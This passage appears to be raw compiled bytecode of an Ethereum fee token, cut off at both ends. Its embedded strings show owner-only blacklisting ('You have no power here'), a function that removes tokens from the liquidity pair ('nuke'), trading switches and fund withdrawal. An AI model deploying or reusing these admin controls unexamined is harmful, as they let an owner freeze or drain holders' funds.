611645565b3480156109d457600080fd5b5061048e6109e3366004613238565b6116cc565b3480156109f457600080fd5b50600754610456906001600160a01b031681565b348015610a1457600080fd5b5061048e610a23366004613049565b60266020526000908152604090205460ff1681565b348015610a4457600080fd5b5060165461048e90610100900460ff1681565b348015610a6357600080fd5b50610409610a723660046131e2565b61186e565b348015610a8357600080fd5b50610409610a92366004613066565b6118f7565b348015610aa357600080fd5b506104096119c8565b348015610ab857600080fd5b50610513600d5481565b348015610ace57600080fd5b5061048e610add366004613066565b611a0b565b348015610aee57600080fd5b50610409610afd3660046131e2565b611b62565b348015610b0e57600080fd5b50610513601b5481565b348015610b2457600080fd5b50610513610b3336600461325d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6a57600080fd5b50610409611bb7565b348015610b7f57600080fd5b50610513600e5481565b348015610b9557600080fd5b50600954610456906001600160a01b031681565b348015610bb557600080fd5b50610513601d5481565b348015610bcb57600080fd5b50610409610bda366004613049565b611c39565b348015610beb57600080fd5b5061051360205481565b348015610c0157600080fd5b50610513600f5481565b6005546001600160a01b03163314610c3e5760405162461bcd60e51b8152600401610c359061328b565b60405180910390fd5b601f8290556020819055610c5281836132d6565b601e81905560081015610ca75760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203825206f72206c657373000000006044820152606401610c35565b5050565b606060038054610cba906132ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce6906132ee565b8015610d335780601f10610d0857610100808354040283529160200191610d33565b820191906000526020600020905b815481529060010190602001808311610d1657829003601f168201915b5050505050905090565b6000610d4a338484611cd1565b50600192915050565b6005546001600160a01b03163314610d7d5760405162461bcd60e51b8152600401610c359061328b565b670de0b6b3a76400006103e8610d9260025490565b610d9d906001613329565b610da79190613348565b610db19190613348565b811015610e185760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c35565b610e2a81670de0b6b3a7640000613329565b600d5550565b6000610e3d848484611df5565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ec25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c35565b610ecf8533858403611cd1565b506001949350505050565b6005546001600160a01b03163314610f045760405162461bcd60e51b8152600401610c359061328b565b60005b8151811015610ca757600160186000848481518110610f2857610f2861336a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f6481613380565b915050610f07565b6005546001600160a01b03163314610f965760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03166000908152601860205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d4a918590610fee9086906132d6565b611cd1565b6008546001600160a01b0316331461101d5760405162461bcd60e51b8152600401610c359061339b565b6001600160a01b0381166110625760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610c35565b6040516370a0823160e01b81523060048201526000906001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d791906133c4565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015611122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114691906133dd565b905080610ca75760405162461bcd60e51b815260206004820152601960248201527f4661696c757265204f6e20546f6b656e205769746864726177000000000000006044820152606401610c35565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610c359061328b565b601c829055601d8190556111d381836132d6565b601b81905560081015610ca75760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203825206f72206c657373000000006044820152606401610c35565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b0316331461126d5760405162461bcd60e51b8152600401610c359061328b565b600580546001600160a01b031916905560405160009081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6005546001600160a01b031633146112d65760405162461bcd60e51b8152600401610c359061328b565b6101a48310156113445760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c35565b6103e88211158015611354575060015b6113b95760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c35565b6012929092556010556011805460ff1916911515919091179055565b6005546001600160a01b031633146113ff5760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114545760405162461bcd60e51b8152600401610c359061328b565b6016805462ffff0019166201010017905542601355601955565b6005546001600160a01b031633146114985760405162461bcd60e51b8152600401610c359061328b565b60168054911515620100000262ff000019909216919091179055565b606060048054610cba906132ee565b6008546001600160a01b031633146114ed5760405162461bcd60e51b8152600401610c359061339b565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156115955760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c35565b610ca7828261253c565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156116215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c35565b61162e3385858403611cd1565b5060019392505050565b6000610d4a338484611df5565b6008546001600160a01b0316331461166f5760405162461bcd60e51b8152600401610c359061339b565b600b546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6008546000906001600160a01b031633146116f95760405162461bcd60e51b8152600401610c359061339b565b600183101561174a5760405162461bcd60e51b815260206004820152601960248201527f4d6179206e6f74206e756b65206c657373207468616e203125000000000000006044820152606401610c35565b600061175583611228565b905080156117ab57611771833061176c87856133fa565b611df5565b600954600090611789906001600160a01b0316611228565b600954600c549192506117a9916001600160a01b03918216911683611df5565b505b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561180b57600080fd5b505af115801561181f573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1600061185730611228565b905061186281612590565b50600195945050505050565b6005546001600160a01b031633146118985760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b038216600081815260236020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146119215760405162461bcd60e51b8152600401610c359061328b565b670de0b6b3a76400006103e861193660025490565b611941906005613329565b61194b9190613348565b6119559190613348565b8110156119b05760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c35565b6119c281670de0b6b3a7640000613329565b600f5550565b6008546001600160a01b031633146119f25760405162461bcd60e51b8152600401610c359061339b565b60006119fd30611228565b9050611a0881612599565b50565b6005546000906001600160a01b03163314611a385760405162461bcd60e51b8152600401610c359061328b565b620186a0611a4560025490565b611a50906001613329565b611a5a9190613348565b821015611ac75760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c35565b6103e8611ad360025490565b611ade906005613329565b611ae89190613348565b821115611b545760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c35565b50600e81905560015b919050565b6005546001600160a01b03163314611b8c5760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03919091166000908152602560205260409020805460ff1916911515919091179055565b6008546001600160a01b03163314611be15760405162461bcd60e51b8152600401610c359061339b565b600b546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611c2e576040519150601f19603f3d011682016040523d82523d6000602084013e611c33565b606091505b50505050565b6005546001600160a01b03163314611c635760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b038116611cc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c35565b611a0881612759565b6001600160a01b038316611d335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c35565b6001600160a01b038216611d945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c35565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611e1b5760405162461bcd60e51b8152600401610c3590613411565b6001600160a01b038216611e415760405162461bcd60e51b8152600401610c3590613456565b6001600160a01b03831660009081526018602052604090205460ff16158015611e8357506001600160a01b03821660009081526018602052604090205460ff16155b611ec85760405162461bcd60e51b8152602060048201526016602482015275596f752068617665206e6f20706f776572206865726560501b6044820152606401610c35565b80611ede57611ed9838360006127ab565b505050565b601654610100900460ff16611f71576001600160a01b03831660009081526023602052604090205460ff1680611f2c57506001600160a01b03821660009081526023602052604090205460ff165b611f715760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c35565b6001600160a01b03821660009081526025602052604090205460ff1661200957600f5481611f9e84611228565b611fa891906132d6565b11156120095760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b6064820152608401610c35565b6001600160a01b03831660009081526026602052604090205460ff16801561204a57506001600160a01b03821660009081526024602052604090205460ff16155b156120c457600d548111156120bf5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c35565b61217b565b6001600160a01b03821660009081526026602052604090205460ff16801561210557506001600160a01b03831660009081526024602052604090205460ff16155b1561217b57600d5481111561217b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c35565b6001600160a01b03821660009081526024602052604090205460ff166121f557600f546121a783611228565b6121b190836132d6565b11156121f55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c35565b600061220030611228565b600e549091508110801590819061221f575060165462010000900460ff165b80156122355750600a54600160a01b900460ff16155b801561225a57506001600160a01b03851660009081526026602052604090205460ff16155b801561227f57506001600160a01b03851660009081526023602052604090205460ff16155b80156122a457506001600160a01b03841660009081526023602052604090205460ff16155b156122b757600e5491506122b782612900565b600a54600160a01b900460ff161580156122e957506001600160a01b03841660009081526026602052604090205460ff165b80156122f7575060115460ff165b8015612312575060125460135461230e91906132d6565b4210155b801561233757506001600160a01b03851660009081526023602052604090205460ff16155b1561234657612344612ac5565b505b600a546001600160a01b03861660009081526023602052604090205460ff600160a01b90920482161591168061239457506001600160a01b03851660009081526023602052604090205460ff165b1561239d575060005b60008115612528576001600160a01b03861660009081526026602052604090205460ff1680156123cf57506000601e54115b1561245d576123f460646123ee601e5488612c5590919063ffffffff16565b90612c68565b9050601e54602054826124079190613329565b6124119190613348565b6022600082825461242291906132d6565b9091555050601e54601f546124379083613329565b6124419190613348565b6021600082825461245291906132d6565b9091555061250a9050565b6001600160a01b03871660009081526026602052604090205460ff16801561248757506000601b54115b1561250a576124a660646123ee601b5488612c5590919063ffffffff16565b9050601b54601d54826124b99190613329565b6124c39190613348565b602260008282546124d491906132d6565b9091555050601b54601c546124e99083613329565b6124f39190613348565b6021600082825461250491906132d6565b90915550505b801561251b5761251b8730836127ab565b61252581866133fa565b94505b6125338787876127ab565b50505050505050565b6001600160a01b038216600081815260266020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b611a0881612c74565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106125ce576125ce61336a565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561264c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126709190613499565b816001815181106126835761268361336a565b60200260200101906001600160a01b031690816001600160a01b0316815250506126ce307f000000000000000000000000000000000000000000000000000000000000000084611cd1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906127239085906000908690309042906004016134b6565b600060405180830381600087803b15801561273d57600080fd5b505af1158015612751573d6000803e3d6000fd5b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166127d15760405162461bcd60e51b8152600401610c3590613411565b6001600160a01b0382166127f75760405162461bcd60e51b8152600401610c3590613456565b6001600160a01b0383166000908152602081905260409020548181101561286f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c35565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906128a69084906132d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f291815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b179055602254602154600091612925916132d6565b90506000612942826123ee60225486612c5590919063ffffffff16565b905060006129508483612e11565b9050600061295f836002612c68565b9050600061296d8483612e11565b90504761297983612599565b60006129854783612e11565b90506129918382612e1d565b60408051858152602081018390529081018490527f9629756ff32486270ad51a664b5bf99945dac79a2c9e8f76087aa1273ce0c99b9060600160405180910390a1476129dc86612599565b60006129e84783612e11565b600b546040519192506000916001600160a01b039091169083908381818185875af1925050503d8060008114612a3a576040519150601f19603f3d011682016040523d82523d6000602084013e612a3f565b606091505b505090506706f05b59d3b20000471115612aab57600b546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612aa0576040519150601f19603f3d011682016040523d82523d6000602084013e612aa5565b606091505b50909150505b5050600a805460ff60a01b19169055505050505050505050565b426013556040516370a0823160e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166004820152600090819030906370a0823190602401602060405180830381865afa158015612b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b5691906133c4565b90506000612b756127106123ee60105485612c5590919063ffffffff16565b90508015612baa57612baa7f000000000000000000000000000000000000000000000000000000000000000061dead836127ab565b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612c0a57600080fd5b505af1158015612c1e573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b6000612c618284613329565b9392505050565b6000612c618284613348565b600a54602780546001600160a01b0390921691309190600090612c9957612c9961336a565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d499190613499565b6027600181548110612d5d57612d5d61336a565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612d96308284611cd1565b612da1303384611cd1565b612dac338284611cd1565b610ca782826027805480602002602001604051908101604052809291908181526020018280548015612e0757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612de9575b5050505050612f03565b6000612c6182846133fa565b612e48307f000000000000000000000000000000000000000000000000000000000000000084611cd1565b600c5460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000009091169063f305d71990839060c40160606040518083038185885af1158015612ed7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612efc9190613527565b5050505050565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790612f589086906000908690309042906004016134b6565b600060405180830381600087803b158015612f7257600080fd5b505af1158015612533573d6000803e3d6000fd5b60008060408385031215612f9957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612fd557858101830151858201604001528201612fb9565b81811115612fe7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611a0857600080fd5b8035611b5d81612ffd565b6000806040838503121561303057600080fd5b823561303b81612ffd565b946020939093013593505050565b60006020828403121561305b57600080fd5b8135612c6181612ffd565b60006020828403121561307857600080fd5b5035919050565b60008060006060848603121561309457600080fd5b833561309f81612ffd565b925060208401356130af81612ffd565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156130e957600080fd5b823567ffffffffffffffff8082111561310157600080fd5b818501915085601f83011261311557600080fd5b813581811115613127576131276130c0565b8060051b604051601f19603f8301168101818110858211171561314c5761314c6130c0565b60405291825284820192508381018501918883111561316a57600080fd5b938501935b8285101561318f5761318085613012565b8452938501939285019261316f565b98975050505050505050565b8015158114611a0857600080fd5b6000806000606084860312156131be57600080fd5b833592506020840135915060408401356131d78161319b565b809150509250925092565b600080604083850312156131f557600080fd5b823561320081612ffd565b915060208301356132108161319b565b809150509250929050565b60006020828403121561322d57600080fd5b8135612c618161319b565b6000806040838503121561324b57600080fd5b82359150602083013561321081612ffd565b6000806040838503121561327057600080fd5b823561327b81612ffd565b9150602083013561321081612ffd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156132e9576132e96132c0565b500190565b600181811c9082168061330257607f821691505b6020821081141561332357634e487b7160e01b600052602260045260246000fd5b50919050565b6000816000190483118215151615613343576133436132c0565b500290565b60008261336557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000600019821415613394576133946132c0565b5060010190565b6020808252600f908201526e086c2d8d8cae4407a5e7a40c2eae8d608b1b604082015260600190565b6000602082840312156133d657600080fd5b5051919050565b6000602082840312156133ef57600080fd5b8151612c618161319b565b60008282101561340c5761340c6132c0565b500390565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000602082840312156134ab57600080fd5b8151612c6181612ffd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156135065784516001600160a01b0316835293830193918301916001016134e1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561353c57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ab8ab8e76c57ad153cb5fbecff199ce15c00287d671df983cf194f7ee040f9cf64736f6c634300080a00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106103dd5760003560e01c806375f0a874116101fd578063b62496f511610118578063d85ba063116100ab578063e9cd8cbd1161007a578063e9cd8cbd14610b89578063f11a24d314610ba9578063f2fde38b14610bbf578063f637434214610bdf578063f8b45b0514610bf557600080fd5b8063d85ba06314610b02578063dd62ed3e14610b18578063e086e5ec14610b5e578063e2f4560514610b7357600080fd5b8063c3c8cd80116100e7578063c3c8cd8014610a97578063c8c8ebe414610aac578063d257b34f14610ac2578063d2fcc00114610ae257600080fd5b8063b62496f514610a08578063bbc0c74214610a38578063c024666814610a57578063c18bc19514610a7757600080fd5b80639a7a23d611610190578063a9059cbb1161015f578063a9059cbb14610988578063aacebbe3146109a8578063aeaa1652146109c8578063b2bdfa7b146109e857600080fd5b80639a7a23d61461091c5780639ec22c0e1461093c578063a457c2d714610952578063a4c82a001461097257600080fd5b806392136913116101cc57806392136913146108a1578063924de9b7146108b757806395d89b41146108d757806396880b17146108ec57600080fd5b806375f0a8741461082d5780637bce5a041461084d57806382aa7c68146108635780638da5cb5b1461088357600080fd5b8063313ce567116102f857806366ca9b831161028b5780636e63cd961161025a5780636e63cd961461079857806370a08231146107b8578063715018a6146107d8578063730c1888146107ed5780637571336a1461080d57600080fd5b806366ca9b831461072c5780636a486a8e1461074c5780636b0a894c146107625780636ddd17131461077857600080fd5b806349bd5a5e116102c757806349bd5a5e146106855780634a62bb65146106b95780634fbee193146106d357806351cff8d91461070c57600080fd5b8063313ce5671461060957806333251a0b1461062557806336cf7c8714610645578063395093511461066557600080fd5b8063199ffc721161037057806323b872dd1161033f57806323b872dd1461059957806328bb665a146105b95780632c3e486c146105d95780632e82f1a0146105ef57600080fd5b8063199ffc72146105375780631a8145bb1461054d5780631f3fed8f14610563578063203e727e1461057957600080fd5b806310d5de53116103ac57806310d5de531461049e5780631694505e146104ce57806318160ddd14610502578063184c16c51461052157600080fd5b806302dbd8f8146103e957806306fdde031461040b5780630758d92414610436578063095ea7b31461046e57600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b50610409610404366004612f86565b610c0b565b005b34801561041757600080fd5b50610420610cab565b60405161042d9190612fa8565b60405180910390f35b34801561044257600080fd5b50600a54610456906001600160a01b031681565b6040516001600160a01b03909116815260200161042d565b34801561047a57600080fd5b5061048e61048936600461301d565b610d3d565b604051901515815260200161042d565b3480156104aa57600080fd5b5061048e6104b9366004613049565b60246020526000908152604090205460ff1681565b3480156104da57600080fd5b506104567f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561050e57600080fd5b506002545b60405190815260200161042d565b34801561052d57600080fd5b5061051360145481565b34801561054357600080fd5b5061051360105481565b34801561055957600080fd5b5061051360225481565b34801561056f57600080fd5b5061051360215481565b34801561058557600080fd5b50610409610594366004613066565b610d53565b3480156105a557600080fd5b5061048e6105b436600461307f565b610e30565b3480156105c557600080fd5b506104096105d43660046130d6565b610eda565b3480156105e557600080fd5b5061051360125481565b3480156105fb57600080fd5b5060115461048e9060ff1681565b34801561061557600080fd5b506040516012815260200161042d565b34801561063157600080fd5b50610409610640366004613049565b610f6c565b34801561065157600080fd5b50600c54610456906001600160a01b031681565b34801561067157600080fd5b5061048e61068036600461301d565b610fb7565b34801561069157600080fd5b506104567f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff581565b3480156106c557600080fd5b5060165461048e9060ff1681565b3480156106df57600080fd5b5061048e6106ee366004613049565b6001600160a01b031660009081526023602052604090205460ff1690565b34801561071857600080fd5b50610409610727366004613049565b610ff3565b34801561073857600080fd5b50610409610747366004612f86565b611195565b34801561075857600080fd5b50610513601e5481565b34801561076e57600080fd5b50610513601a5481565b34801561078457600080fd5b5060165461048e9062010000900460ff1681565b3480156107a457600080fd5b50600854610456906001600160a01b031681565b3480156107c457600080fd5b506105136107d3366004613049565b611228565b3480156107e457600080fd5b50610409611243565b3480156107f957600080fd5b506104096108083660046131a9565b6112ac565b34801561081957600080fd5b506104096108283660046131e2565b6113d5565b34801561083957600080fd5b50600b54610456906001600160a01b031681565b34801561085957600080fd5b50610513601c5481565b34801561086f57600080fd5b5061040961087e366004613066565b61142a565b34801561088f57600080fd5b506005546001600160a01b0316610456565b3480156108ad57600080fd5b50610513601f5481565b3480156108c357600080fd5b506104096108d236600461321b565b61146e565b3480156108e357600080fd5b506104206114b4565b3480156108f857600080fd5b5061048e610907366004613049565b60256020526000908152604090205460ff1681565b34801561092857600080fd5b506104096109373660046131e2565b6114c3565b34801561094857600080fd5b5061051360155481565b34801561095e57600080fd5b5061048e61096d36600461301d565b61159f565b34801561097e57600080fd5b5061051360135481565b34801561099457600080fd5b5061048e6109a336600461301d565b611638565b3480156109b457600080fd5b506104096109c3366004613049565b611645565b3480156109d457600080fd5b5061048e6109e3366004613238565b6116cc565b3480156109f457600080fd5b50600754610456906001600160a01b031681565b348015610a1457600080fd5b5061048e610a23366004613049565b60266020526000908152604090205460ff1681565b348015610a4457600080fd5b5060165461048e90610100900460ff1681565b348015610a6357600080fd5b50610409610a723660046131e2565b61186e565b348015610a8357600080fd5b50610409610a92366004613066565b6118f7565b348015610aa357600080fd5b506104096119c8565b348015610ab857600080fd5b50610513600d5481565b348015610ace57600080fd5b5061048e610add366004613066565b611a0b565b348015610aee57600080fd5b50610409610afd3660046131e2565b611b62565b348015610b0e57600080fd5b50610513601b5481565b348015610b2457600080fd5b50610513610b3336600461325d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6a57600080fd5b50610409611bb7565b348015610b7f57600080fd5b50610513600e5481565b348015610b9557600080fd5b50600954610456906001600160a01b031681565b348015610bb557600080fd5b50610513601d5481565b348015610bcb57600080fd5b50610409610bda366004613049565b611c39565b348015610beb57600080fd5b5061051360205481565b348015610c0157600080fd5b50610513600f5481565b6005546001600160a01b03163314610c3e5760405162461bcd60e51b8152600401610c359061328b565b60405180910390fd5b601f8290556020819055610c5281836132d6565b601e81905560081015610ca75760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203825206f72206c657373000000006044820152606401610c35565b5050565b606060038054610cba906132ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce6906132ee565b8015610d335780601f10610d0857610100808354040283529160200191610d33565b820191906000526020600020905b815481529060010190602001808311610d1657829003601f168201915b5050505050905090565b6000610d4a338484611cd1565b50600192915050565b6005546001600160a01b03163314610d7d5760405162461bcd60e51b8152600401610c359061328b565b670de0b6b3a76400006103e8610d9260025490565b610d9d906001613329565b610da79190613348565b610db19190613348565b811015610e185760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c35565b610e2a81670de0b6b3a7640000613329565b600d5550565b6000610e3d848484611df5565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ec25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c35565b610ecf8533858403611cd1565b506001949350505050565b6005546001600160a01b03163314610f045760405162461bcd60e51b8152600401610c359061328b565b60005b8151811015610ca757600160186000848481518110610f2857610f2861336a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f6481613380565b915050610f07565b6005546001600160a01b03163314610f965760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03166000908152601860205260409020805460ff19169055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d4a918590610fee9086906132d6565b611cd1565b6008546001600160a01b0316331461101d5760405162461bcd60e51b8152600401610c359061339b565b6001600160a01b0381166110625760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610c35565b6040516370a0823160e01b81523060048201526000906001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d791906133c4565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015611122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114691906133dd565b905080610ca75760405162461bcd60e51b815260206004820152601960248201527f4661696c757265204f6e20546f6b656e205769746864726177000000000000006044820152606401610c35565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610c359061328b565b601c829055601d8190556111d381836132d6565b601b81905560081015610ca75760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203825206f72206c657373000000006044820152606401610c35565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b0316331461126d5760405162461bcd60e51b8152600401610c359061328b565b600580546001600160a01b031916905560405160009081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6005546001600160a01b031633146112d65760405162461bcd60e51b8152600401610c359061328b565b6101a48310156113445760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c35565b6103e88211158015611354575060015b6113b95760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c35565b6012929092556010556011805460ff1916911515919091179055565b6005546001600160a01b031633146113ff5760405162461bcd60e51b8152600401610c359061328b565b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114545760405162461bcd60e51b8152600401610c359061328b565b6016805462ffff0019166201010017905542601355601955565b6005546001600160a01b031633146114985760405162461bcd60e51b8152600401610c359061328b565b60168054911515620100000262ff000019909216919091179055565b606060048054610cba906132ee565b6008546001600160a01b031633146114ed5760405162461bcd60e51b8152600401610c359061339b565b7f000000000000000000000000cf09e2f35a3427b27028908cc9b4fdd4efbb5ff56001600160a01b0316826001600160a01b031614156115955760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c35565b610ca7828261253c565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156116215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c